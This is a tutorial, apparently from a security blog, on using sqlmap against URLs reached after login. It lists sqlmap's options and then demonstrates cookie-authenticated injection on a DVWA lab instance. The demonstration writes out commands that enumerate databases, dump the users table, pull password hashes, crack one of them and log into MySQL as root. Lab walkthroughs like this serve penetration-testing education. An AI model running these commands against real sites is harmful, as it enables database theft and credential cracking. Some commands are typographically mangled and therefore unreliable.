SQLMap for post authentication(after login) URL's

Normally users use sqlmap for the url which are available before login. But if there is a possibility of sql injection on a url which appear after login then what to do. If the user try to run sqlmap for the url then normally he gets 302 error. There are multiple way to use sqlmap. We can use sqlmap for after login url also. Here I list down almost all possible way to use sqlmap. And in demonstration I am gonna show how use sqlmap for after login url with cookie option.

SQLMap is a free and an open source tool that is used to detect and exploit SQL injection flaws. It has very nifty features that automate the process of detection and exploitation. SQLmap is also used for database fingerprinting, access underlying file system and execute sql commands.

You can download SQLmap from SourceForge here: http://sourceforge.net/projects/sqlmap/

SQLmap Command

Here is the full list of available options:

Options:

1.     –version show program’s version number and exit

2.     -h, –help show this help message and exit

3.     -v VERBOSE Verbosity level: 0-6 (default 1)

General:

These options can be used to set some general working parameters.

1.      -t TRAFFICFILE Log all HTTP traffic into a textual file

2.      –batch Never ask for user input, use the default behaviour

3.      –charset=CHARSET Force character encoding used for data retrieval

4.      –check-tor Check to see if Tor is used properly

5.      –crawl=CRAWLDEPTH Crawl the website starting from the target url

6.      –csv-del=CSVDEL Delimiting character used in CSV output (default “,”)

7.      –eta Display for each output the estimated time of arrival

8.      –flush-session Flush session file for current target

9.      –forms Parse and test forms on target url

10.  –fresh-queries Ignores query results stored in session file

11.  –hex Uses DBMS hex function(s) for data retrieval

12.  –parse-errors Parse and display DBMS error messages from responses

13.  –replicate Replicate dumped data into a sqlite3 database

14.  –save Save options to a configuration INI file

15.  –tor Use Tor anonymity network

16.  –tor-port=TORPORT Set Tor proxy port other than default

17.  –tor-type=TORTYPE Set Tor proxy type (HTTP – default, SOCKS4 or SOCKS5)

18.  –update Update sqlmap

Target

To specify the target options these are the sqlmap options which can be used to get the desired result from sql injection. there must be one options has to be specify to use the sqlmap.

-d DIRECT Direct connection to the database

1.     -u URL, –url=URL Target URL (specify the target url)

2.     -l LOGFILE Parse targets from Burp or WebScarab proxy logs

3.     -m BULKFILE Scan multiple targets enlisted in a given textual file

4.     -r REQUESTFILE Load HTTP request from a file

5.     -g GOOGLEDORK Process Google dork results as target URLs

6.     -c CONFIGFILE Load options from a configuration INI file

Request:

There are multiple option in sqlmap to specify how to connect to the target url or target address. These options can be used to specify how to connect to the target URL. For the url's, which appear after authentication or after login. We can use cookie parameter to perform attack on the url. Sqlmap can also read the cookie from a file the can be the request and response captured in burp or ZAP and saved as a text file.

1.      –data=DATA Data string to be sent through POST

2.      –param-del=PDEL Character used for splitting parameter values

3.      –cookie=COOKIE HTTP Cookie header

4.      –load-cookies=LOC File containing cookies in Netscape/wget format

5.      –cookie-urlencode URL Encode generated cookie injections

6.      –user-agent=AGENT HTTP User-Agent header

7.      –random-agent Use randomly selected HTTP User-Agent header

8.      –randomize=RPARAM Randomly change value for given parameter(s)

9.      –force-ssl Force usage of SSL/HTTPS requests

10.  –host=HOST HTTP Host header

11.  –referer=REFERER HTTP Referer header

12.  –headers=HEADERS Extra headers (e.g. “Accept-Language: frnETag: 123″)

13.  –auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)

14.  –auth-cred=ACRED HTTP authentication credentials (name:password)

15.  –proxy=PROXY Use a HTTP proxy to connect to the target url

16.  –proxy-cred=PCRED HTTP proxy authentication credentials (name:password)

17.  –delay=DELAY Delay in seconds between each HTTP request

18.   –skip-urlencode Skip URL encoding of POST data

19.  –retries=RETRIES Retries when the connection timeouts (default 3)

20.  –scope=SCOPE Regexp to filter targets from provided proxy log

21.  –safe-url=SAFURL Url address to visit frequently during testing

22.  –safe-freq=SAFREQ Test requests between two visits to a given safe url

23.  –timeout=TIMEOUT Seconds to wait before timeout connection

Injection:

SQLMap also accept user defined sql injection payload. In SQLMap we can set which parameter we want to test for sql injections. These options can be used to specify which parameters to test for, and provide custom injection payloads and optional tampering scripts

1.      -p TESTPARAMETER Testable parameter(s)

2.      –dbms=DBMS Force back-end DBMS to this value

3.      –os=OS Force back-end DBMS operating system to this value

4.      –invalid-bignum Use big numbers for invalidating values

5.      –invalid-logical Use logical operations for invalidating values

6.      –no-cast Turn off payload casting mechanism

7.      –prefix=PREFIX Injection payload prefix string

8.      –suffix=SUFFIX Injection payload suffix string

9.      –skip=SKIP Skip testing for given parameter(s)

10.  –tamper=TAMPER Use given script(s) for tampering injection data

Techniques:

These options can be used to tweak testing of specific SQL injection techniques.

1.      –technique=TECH SQL injection techniques to test for (default “BEUST”)

2.      –time-sec=TIMESEC Seconds to delay the DBMS response (default 5)

3.      –union-cols=UCOLS Range of columns to test for UNION query SQL injection

4.      –union-char=UCHAR Character to use for bruteforcing number of columns

5.     –dns-domain=DNAME Domain name used for DNS exfiltration attack

Enumeration:

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

1.      -b, –banner Retrieve DBMS banner

2.      –current-user Retrieve DBMS current user

3.      –current-db Retrieve DBMS current database

4.      –is-dba Detect if the DBMS current user is DBA

5.      –users Enumerate DBMS users

6.      –passwords Enumerate DBMS users password hashes

7.      –privileges Enumerate DBMS users privileges

8.      –roles Enumerate DBMS users roles

9.      –dbs Enumerate DBMS databases

10.  –tables Enumerate DBMS database tables

11.  –columns Enumerate DBMS database table columns

12.  –schema Enumerate DBMS schema

13.  –count Retrieve number of entries for table(s)

14.  –dump Dump DBMS database table entries

15.  –dump-all Dump all DBMS databases tables entries

16.  –search Search column(s), table(s) and/or database name(s)

17.  -D DB DBMS database to enumerate

18.  -T TBL DBMS database table to enumerate

19.  -C COL DBMS database table column to enumerate

20.  -U USER DBMS user to enumerate

21.  –exclude-sysdbs Exclude DBMS system databases when enumerating tables

22.  –start=LIMITSTART First query output entry to retrieve

23.  –stop=LIMITSTOP Last query output entry to retrieve

24.  –first=FIRSTCHAR First query output word character to retrieve

25.  –last=LASTCHAR Last query output word character to retrieve

26.  –sql-query=QUERY SQL statement to be executed

27.  –sql-shell Prompt for an interactive SQL shell

Windows registry access:

These options can be used to access the back-end database management system Windows registry.

1.      –reg-read Read a Windows registry key value

2.      –reg-add Write a Windows registry key value data

3.      –reg-del Delete a Windows registry key value

4.      –reg-key=REGKEY Windows registry key

5.      –reg-value=REGVAL Windows registry key value

6.      –reg-data=REGDATA Windows registry key value data

7.      –reg-type=REGTYPE Windows registry key value type

Miscellaneous:

1.      -z MNEMONICS Use short mnemonics (e.g. “flu,bat,ban,tec=EU”)

2.      –beep Sound alert when SQL injection found

3.      –check-payload Offline WAF/IPS/IDS payload detection testing

4.      –check-waf Check for existence of WAF/IPS/IDS protection

5.      –cleanup Clean up the DBMS by sqlmap specific UDF and tables

6.      –dependencies Check for missing sqlmap dependencies

7.      –disable-hash Disable password hash cracking mechanism

8.      –disable-like Disable LIKE search of identificator names

9.      –gpage=GOOGLEPAGE Use Google dork results from specified page number

10.  –mobile Imitate smartphone through HTTP User-Agent header

11.  –page-rank Display page rank (PR) for Google dork results

12.  –purge-output Safely remove all content from output directory

13.  –smart Conduct through tests only if positive heuristic(s)

14.  –test-filter=TSTF Select tests by payloads and/or titles (e.g. ROW)

15.  –wizard Simple wizard interface for beginner users 

Demonstration

As I am using kali linux and sqlmap runs beautifully in this operating system. I am using Virtualbox to run DVWA application in linux based operating system. http://172.16.221.128/dvwa/ is the url where we are going to attack. The application credentials are.

Username : admin

Password: password.

 
After successful login we will navigate to the url:
http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# 

If we try sqlmap on the same url with the command:
 sqlmap -u http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# --dbs

 

here –dbs is to find databases.

it will give error like this:

As all the security analyst or application security tester all are familiar with burp-suite. If you are not then please go through a burp poxy setting tutorial. If you now how capture a request in proxy (burp-suite) then capture the request in burp and note down the cookie values.

 

Here the cookie values are :

security=low;
PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9;

 

Now try the sqlmap with this comman:

sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low" –dbs

Used Options:

1.       –dbs: Enumerate DBMS databases

2.       --cookie: cookie value

3.       -u : url

And follow the process.

 

Or you can try with forms options. The command will be like:

sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/" --forms --cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low" --dbs

Used Options:

1.       –dbs: Enumerate DBMS databases

these two commands will give the same result.

The out put will be like this 

As we can see the list of databases, now try to find a tables in database dvwa. The command will like:

sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low" -D dvwa –tables

Used Options:

1.       -D : user supplied database name

2.       – tables : enumerate list of tables in the user supplied database

And the output will be like this.

 

Now to see what inside the users tables the command will be like this:

sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low" -D dvwa -T users –dump

Used Options:

1.       -T: user supplied table name

2.       – dump : get all the data inside the user supplied table.

 

The output will be like.

 

OK Lets have some more fun.

To find the current database username try this command.

sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low" –current-user

Used Options:

--current-user : enumerate the current database user name 

This will show you the current database user name. The output will contain some more information like, PHP version, underline operating system, version of the mysql database. Here the username is root.

 

The following command will enumerate all DBMS users and password hashes that can crack it later for any further attacks.

sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low" --string=”Surname” –users –password”

Used Options:

1.       –string : String to match in page when the query is valid

2.       –users : Enumerate DBMS users

3.       –password : Enumerate DBMS users password hashes.

Or get the hashes and try to crack using different methods like john the ripper or any other hash crack tools.

As I try john the ripper for the hash of username smithy. Passsword is admin.

Lets have some more fun.

By using the command:

sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low" –current-use

we are able to know that the current-user is root. Noe try to connect using mysql console.

To connect using mysql console the command will be

 mysql -h 172.16.221.128 -u root -p

 

Now we have full access in the database. Attacker can create update or delete the all records.